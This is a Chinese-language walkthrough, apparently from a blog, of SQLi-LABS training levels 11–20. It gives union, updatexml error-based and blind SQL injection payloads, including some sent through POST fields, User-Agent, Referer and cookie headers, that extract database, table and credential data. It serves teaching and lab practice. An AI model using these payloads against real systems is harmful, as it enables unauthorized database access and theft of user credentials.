SQLI-LABS靶场11-20关
声明:所有文章仅供学习使用,且其中有些是在网上找的资料,或许有相同的,如若侵权,请联系删除
LESS11(POST注入):
判断是否动态网站
两种判断法:
第一种是从网页的后缀名判断,一般html、htm结尾的网页为通常所说的静态页面; 其他的诸如php,jsp,asp等等为通常所说的动态页面(PS:需要要注意的是,如果网站页面是由伪静态生成的,那就不一定了。比如wordpress、dede伪静态后的页面也可以是html的,伪静态其实也算静态。)
第二种就是通过url(网址)来判断 , 如果网址里面有特殊符号,比如“?”等这些就是动态页面。
找潜在注入点
假设两个输入框为注入点
猜测后台SQL语句
select * from t_xx where username='xxx' and password='xxxx'
判断是数字型还是字符型
既然是username,那多半是字符型
但是我们可以试着输入1 or 1,点击提交,发现登录失败了,那肯定不是数字型了
如果是字符型,判断闭合符
输入单引号1' or 1,发现报错,在后面加上#,登录成功
得到闭合符为单引号
完善猜测的后台查询语句(输入为xxx)
select * from t_xx where username='xxx' and password=xxx LIMIT 0,1
判断列数
二分法
11' or 1 order by 2#
得到列数为2列
8.找显示位
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3……
11' union select 1,2#
发现两个显示位
9.确定一个显示位进行查询
10.查库名
11' union select 1,database()#
得到数据库名为security
11.查表名
11' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
information_schema库是特殊库,是一个在mysql5.0后才有的系统库。
得到表名为:emails,referers,uagents,users
12.查列名
11' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
查的列名为:id,username,password
13.查记录
11' union select group_concat(username),group_concat(password) from users#
LESS12:
12关与11关类似,只有闭合符变成了:"),因此我们猜测后台语句为:
select * fron table_name where username=("xxx") and password=xxx
LESS13:
判断是否动态网站
两种判断法:
第一种是从网页的后缀名判断,一般html、htm结尾的网页为通常所说的静态页面; 其他的诸如php,jsp,asp等等为通常所说的动态页面(PS:需要要注意的是,如果网站页面是由伪静态生成的,那就不一定了。比如wordpress、dede伪静态后的页面也可以是html的,伪静态其实也算静态。)
第二种就是通过url(网址)来判断 , 如果网址里面有特殊符号,比如“?”等这些就是动态页面。
找潜在注入点
假设两个输入框为注入点
猜测后台SQL语句
select * from t_xx where username='xxx' and password='xxxx'
判断是数字型还是字符型
既然是username,那多半是字符型
但是我们可以试着输入1 or 1,点击提交,发现登录失败了,且无报错,那肯定不是数字型了
如果是字符型,判断闭合符
输入单引号1’ or 1,发现报错,在后面加上#,还是报错,尝试加上圆括号,登录成功
得到闭合符为单引号和一个圆括号
完善猜测的后台查询语句(输入为xxx)
select * from t_xx where username=('xxx') and password=xxx LIMIT 0,1
判断列数
二分法
11') or 1 order by 2#
得到列数为2列
8.找显示位
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3……
11') union select 1,2#
发现登录成功,但是没有显示位,排除联合查询注入,这里有报错,所以我们选择报错注入
9.确定一个显示位进行查询
10.查库名
11') and updatexml(1,concat(0x7e,(select database())),1)#
得到数据库名为security
11.查表名
11') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
information_schema库是特殊库,是一个在mysql5.0后才有的系统库。
得到表名为:emails,referers,uagents,users
12.查列名
11') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#
查的列名为:id,username,password
13.查记录
11') and updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)#
11') and updatexml(1,concat(0x7e,(select group_concat(password) from users)),1)#
LESS14:
14关与13关类似,闭合符变为双引号了,同样有报错,因此选择报错注入
LESS15:
判断是否动态网站
找潜在注入点
假设两个输入框为注入点
猜测后台SQL语句
select * from t_xx where username='xxx' and password='xxxx'
判断是数字型还是字符型
既然是username,那多半是字符型
但是我们可以试着输入1 or 1,点击提交,发现登录失败了,且无报错,那肯定不是数字型了
如果是字符型,判断闭合符
输入单引号1’ or 1,发现报错,在后面加上#,登录成功
得到闭合符为单引号
完善猜测的后台查询语句(输入为xxx)
select * from t_xx where username='xxx' and password='xxx' LIMIT 0,1
判断列数
二分法
11' or 1 order by 2#
得到列数为2列
8.找显示位
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3……
11' union select 1,2#
发现登录成功,但是没有显示位,排除联合查询注入,且没有报错,所以我们选择盲注
9.确定一个显示位进行查询
10.查库名
1' or left(database(),1)='s'# 11' or length(database())>7# //得到数据库名字符个数为8 11' or ascii(substr(database(),1,1))>114# //得到ASCII码值为115,转换为字符s
最终得到数据库名为security
11.查表名
information_schema库是特殊库,是一个在mysql5.0后才有的系统库。
得到表名为:emails,referers,uagents,users
12.查列名
查的列名为:id,username,password
13.查记录
LESS16:
这一关与15关类似,区别在于闭合符不同,方法还是采用布尔盲注
1") or 1# //16关闭合符判断方法
LESS17:
判断是否动态网站
找潜在注入点
假设两个输入框为注入点
猜测后台SQL语句
由页面显示可知这是一个更新密码的表单,我们猜测为update
update table_name set password='xxx' where username='xxx'
判断是数字型还是字符型
既然是username,那多半是字符型,输入一个正确的用户名(admin)密码(admin),提示更改成功,在username处构造payload,发现无论怎样都构造都提示失败,猜测后台有验证或者过滤,通过查看后台源代码发现username开启了magic_quotes_gpc过滤,因此尝试在new password处构造,通过抓包请求包发现请求包是这样的uname=admin&passwd=admin&submit=Submit,且password处数据并没有过滤,下面构造语句
uname=admin&passwd=mm'&submit=Submit
加上#,正常了
如果是字符型,判断闭合符
uname=admin&passwd=mm'#&submit=Submit
得到闭合符为单引号
完善猜测的后台查询语句(输入为xxx)
select username,password from t_xx where username='xxx' LIMIT 0,1 update t_xx set password='xxx' where username='xxx'
判断列数
由于这里没有显示位,所以不用判断列数
8.找显示位
这关没有显示位但有报错信息,所以选用报错注入,也不用找显示位
9.确定一个显示位进行查询
10.查库名
uname=admin&passwd=mm' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&submit=Submit
最终得到数据库名为security
11.查表名
uname=admin&passwd=mm' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)#&submit=Submit
information_schema库是特殊库,是一个在mysql5.0后才有的系统库。
得到表名为:emails,referers,uagents,users
12.查列名
uname=admin&passwd=mm' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)#&submit=Submit
查的列名为:id,username,password
13.查记录
uname=admin&passwd=mm' and updatexml(1,concat(0x7e,(select group_concat(username) from users ),0x7e),1)#&submit=Submit
原理上应该是查的出来的,这里显示报错,我也就不知道了,弄了很久还是没找出来原因,如果有大佬知道啥原因,评论区交流一下,非常感谢
LESS18:
判断是否动态网站
找潜在注入点
根据页面信息可知,这里还收集了我们的IP地址来源,假设两个输入框为注入点,输入正确的用户名、密码
登录成功这里显示不仅有IP信息,还有UA信息
猜测后台SQL语句
select * from table_name where username=xxx and password=xxx insert into `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"
判断是数字型还是字符型
既然是username,那多半是字符型,输入一个正确的用户名(admin)密码(admin),提示登录成功,在username以及password处构造payload,发现无论怎样都构造都提示失败,猜测后台有验证或者过滤,通过查看后台源代码发现开启了magic_quotes_gpc过滤,由于这里调用了UA信息,我们尝试在user-agent处构造payload
uname=admin&passwd=mm'&submit=Submit
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),"1","1")#
如果是字符型,判断闭合符
得到闭合符为单引号
完善猜测的后台查询语句(输入为xxx)
select * from table_name where username=xxx and password=xxx insert into `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"
查库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),"1","1")#
最终得到数据库名为security
8.查表名
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1),"1","1")#
information_schema库是特殊库,是一个在mysql5.0后才有的系统库。
得到表名为:emails,referers,uagents,users
9.查列名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1),"1","1")#
查的列名为:id,username,password
10.查记录
' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1),"1","1")#
' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1),"1","1")#
LESS19:
1、判断是否动态网页,存在出入点与否
根据输入不同的信息会有报错以及提示得到动态网页
从页面上的信息来看,这里记录了我们的referer值,因此隐藏注入点就有两个输入框以及referer注入
2、打开源代码可以知道两个输入框都做了过滤,因此我们采用referer注入
注入方法与18关类似
3、查数据库
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
后面的方法就差不多了,替换SQL语句即可
LESS20
这一关考察的是cookie注入,注入方法与前两关类似
1、查列名
uname=admin' order by 3#
得到3列
2、查看显示位
这里我不知道为什么查不出来显示位,我看其他文章是有的,但是有报错,那还是用报错注入吧
3、查库名
uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
4、查表名
uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
5、查列名
uname=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
6、查记录
账号:
uname=admin' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#
密码:
uname=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)#
至此,11-20关完,11-17关主要是考察POST型注入,而18—20关主要考察的是http头部注入。
SQLI-LABS靶场11-20关相关推荐
- SQLi-LABS(11~20关详解)
SQLi-LABS Less-11 查看题目环境 首先可以看到这题传入正确的账号密码,会有数据回显 测试注入点 尝试post uname=admin' 通过报错语句可以发现用单引号即可闭合 post ...
- SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注
第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...
- SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
- sql-labs 闯关 11~20
sql-labs 闯关 11~20 友善爱国公正敬业爱国爱国诚信自由友善爱国公正诚信民主和谐敬业平等 复习笔记1 内容: POST请求介绍 sql-labs第11关(POST请求-基于错误-单引号-字 ...
- SQLi LABS Less 26a 联合注入+布尔盲注
第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...
- SQLi LABS Less 25 联合注入+报错注入+布尔盲注
第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...
- XSS挑战之旅[全20关]上
Contents 文章目录 靶场简介 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x09 0x10 靶场简介 由来:这是Xss平台免费提供的一个xss靶场,网址为 ...
- python题库刷题训练软件_Python基础练习100题 ( 11~ 20)
刷题继续 上一期和大家分享了前10道题,今天继续来刷11~20 Question 11: Write a program which accepts a sequence of comma separ ...
- 第F题 真约束之和(通解)古希腊数学家毕达哥拉斯在自然数研究中发现,220的所有真约数(即不是自身的约数)之和为: 1+2+4+5+10+11+20+22+44+55+110=284
古希腊数学家毕达哥拉斯在自然数研究中发现,220的所有真约数(即不是自身的约数)之和为: 1+2+4+5+10+11+20+22+44+55+110=284. 而284的所有真约数为1.2.4.71. ...
- 【不忘初心】Win10_LTSC2021_19044.1381_X64_可更新[纯净精简版][2.52G](2021.11.20)
此版可正常更新补丁,母版来自UUP WIN10_LTSC2021 19044.1288集成补丁到19044.1381为了保证稳定初心的系统全部都是离线精简和优化,非二次封装.系统纯净.流畅.进程少无任 ...
最新文章
- 阿里招“AI鉴黄体验官”:日薪1000!网友:钱不钱无所谓,净化互联网人人有责!...
- Zepto.js简介
- 计算机课程设计红绿灯,武汉大学电气工程学院计算机课程设计1:红绿灯
- Angular2.x-主/细节组件
- mysql重做日志_MySQL-重做日志 redo log -原理
- SQL 2008镜像配置
- 纯CSS实现下拉菜单导航
- CSS入门学习笔记+案例
- Python爬虫课--第二节 爬虫请求模块 urllib.request,urllib.parse,requests模块
- 2023年计算机网络考研真题详解
- 关于Bilibili下载问题
- 数字集成电路:MOS管器件章(一)
- 21考研复习规划和北邮计算机考研介绍
- 杨辉三角 (java语言)
- 打开exchange2007管理控制台时,提示没有读取服务器安全描述符的权限
- cocos2dx打包APK
- 国家企业信息公示贵州 滑块打码验证
- 牛客网 2018年全国多校算法寒假训练营练习比赛(第二场) H.了断局-递推
- elasticsearch基础1——索引、文档
- 最长公共子序列-动态规划-python